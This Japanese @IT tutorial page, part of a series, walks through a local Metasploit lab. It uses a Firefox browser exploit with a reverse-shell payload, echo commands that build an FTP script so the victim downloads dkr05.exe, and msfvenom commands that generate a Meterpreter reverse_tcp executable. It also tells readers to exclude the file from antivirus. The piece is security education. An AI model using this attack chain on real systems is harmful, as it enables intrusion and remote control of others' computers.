連載
» 2015年12月15日 05時00分 公開

セキュリティ・ダークナイト ライジング(5):Metasploitによる「受動的攻撃」――侵略を拡大せよ (2/3)

[辻 伸弘(ソフトバンク・テクノロジー株式会社),@IT]

FTPでファイルを「注入」する

 さて、いよいよ前回の続きである。簡単に、前回Metasploitで実行したコマンドを振り返っておこう。

use exploit/multi/browser/firefox_proxy_prototype
set SRVPORT 80
set URIPATH /
set PAYLOAD firefox/shell_reverse_tcp
set LHOST [IPアドレス]
exploit

※LHOSTの[IPアドレス]は、各自の環境に合わせて設定する。

 上記を実行してからFirefoxでWebサーバーにアクセスし、Metasploitで[sessions]コマンドを実行した結果が下図だった。

 今回はこの状態から、以下のコマンドを実行してほしい。前回同様、[IPアドレス]および[ユーザー名]の部分は、各自の環境のIPとログオンユーザー名に合わせて変更する。なお、各行末尾の「…(数字)」は説明用の番号付けなので、実際には入力しなくてよい。

echo lcd C:\Users\[ユーザー名]\Videos>C:\Users\[ユーザー名]\Videos\ftp.txt…(1)
echo open [IPアドレス]>>C:\Users\[ユーザー名]\Videos\ftp.txt …(2)
echo test>>C:\Users\[ユーザー名]\Videos\ftp.txt …(3)
echo test>>C:\Users\[ユーザー名]\Videos\ftp.txt …(4)
echo bin>>C:\Users\[ユーザー名]\Videos\ftp.txt …(5)
echo get drk05.exe>>C:\Users\[ユーザー名]\Videos\ftp.txt …(6)
echo quit>>C:\Users\[ユーザー名]\Videos\ftp.txt …(7)

 もうお分かりの方もいると思うが、上記のコマンドは、この後実行したいFTPコマンドを記述したファイル(ftp.txt)を、攻撃対象のコンピューター上の「ビデオ」フォルダー(C:\Users\[ユーザー名]\Videos)に作成するものである。そして、その接続先となるのが、本稿前半でインストールしたFTPサーバーというわけだ。

 それぞれのFTPコマンドの意味を以下で解説しよう。

(1)ローカルフォルダーを「ビデオ」フォルダーに移動

(2)指定したIPアドレスのFTPサーバーに接続

(3)testというユーザー名を指定(実際に書き込まれるのは「test 」となる)

(4)testというパスワードを指定(実際に書き込まれるのは「test 」となる)

(5)バイナリモードに変更

(6)dkr05.exeをダウンロード

(7)FTP通信を終了

 上記コマンドを実行すると、下図のように、攻撃対象のコンピューター上に「ftp.txt」ファイルが作成されたはずだ。

 さて、お気付きの方もいるだろうが、ここでまだ足りないパーツがある。「dkr05.exe」だ。これについては、筆者が事前に用意したファイルを、以下のリンクからダウンロードして使用してほしい。なお、今回は悪用を防ぐために、特定のIPアドレス(ローカル環境を想定)に対してのみ使用可能なdkr05.exeファイルを2種類用意した。以下から、各自の環境のIPアドレスに合ったファイルをダウンロードしてほしい。

 IPアドレスがどちらにも合致しないという方は、大変申し訳ないのだが、各自で環境を合わせた上で、テストを行ってほしい。自宅の環境が合致しない場合、スマートフォンのテザリング環境で、IPアドレス帯の変更を行うなどの対応も可能だ。

 このファイルの用途や作成方法などについては、以下で説明する。なお、筆者の用意したファイルが信頼できないという方は、ここから先は手を止めて、記事上で攻撃の流れを追ってみてほしい。

dkr05.exeファイルについて

 dkr05.exeファイルは、前回の攻撃後に残っていた不都合を解消し、攻撃対象のコンピューターを「より便利な」環境にするために、特定のポートを開放するものである。動作の性質上、おそらくほとんどのアンチウイルスソフトウエアで検知されるはずだ。従って、アンチウイルスソフトウエアでこのファイルが検知、削除されないように、一時的に除外設定などを行っていただきたい。

 このファイルを使用する目的だが、いわゆる「標的型攻撃」と呼ばれる攻撃などでは、初めにマルウエアなどを使用して特定のコンピューターを乗っ取り、その後さらに別のソフトウエアをインストールしながら、「攻撃者にとって都合の良い環境を作り上げていく」というプロセスがしばしばとられる。そこで本稿では、このdkr05.exeを使用して、ローカル環境でそれを疑似的に行ってみようというわけである。

 ちなみに、このファイルはMetasploitに付属している「msfvenom」というツールで作成した。残念ながらこのツールは、本連載で使用しているWindows版のMetasploitの場合、標準では動作しない。ただ、読者の中にはLinux版のMetasploitを使用している方もいるかもしれないので、作成コマンドを簡単に紹介しておく。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.11
LPORT=1337 -f exe > dkr05.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11
LPORT=1337 -f exe > dkr05.exe

 「-p」でどのペイロードを用いるかを指定し(今回は、windows/meterpreter/reverse_tcp)、「LHOST」でコネクトバックするアドレス、「LPORT」でコネクトバックするポート、「-f」でアウトプットの形式を指定する。その内容をリダイレクトし、dkr05.exeを生成している。

 それでは続きに移ろう。ダウンロードしたファイルは圧縮されているので、まずは展開する。展開パスワードは[n75ujid@rkkni8h7]だ。展開したdkr05.exeファイルは、FTPサーバーで設定した公開フォルダーに配置してほしい。FileZilla Serverの場合は、[Shared Folders]に設定したフォルダーがこれに当たる。

 以上で準備は完了だ。先に攻撃対象のコンピューター上に作成したテキストファイル(ftp.txt)を利用して、ftpコマンドを下記のように実行する。攻撃対象と対話的なやりとりができない状態であっても、このようにあらかじめ一連の動作を自動化しておくことで、目的のファイルを対象上に転送することができるのだ。

ftp -s:C:\Users\[ユーザー名]\Videos\ftp.txt

※[ユーザー名]の部分は各自のログオンユーザー名に変更する。

 上記のコマンドを実行した結果が下図である。dkr05.exeファイルの転送に成功したことが分かる。

 ここまでの流れをまとめると、下図のようになる。次ページからは、攻撃対象上のdkr05.exeを実行し、コネクトバックを受け付け、より柔軟にコマンドが実行可能な状態を実現する手順を解説しよう。

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。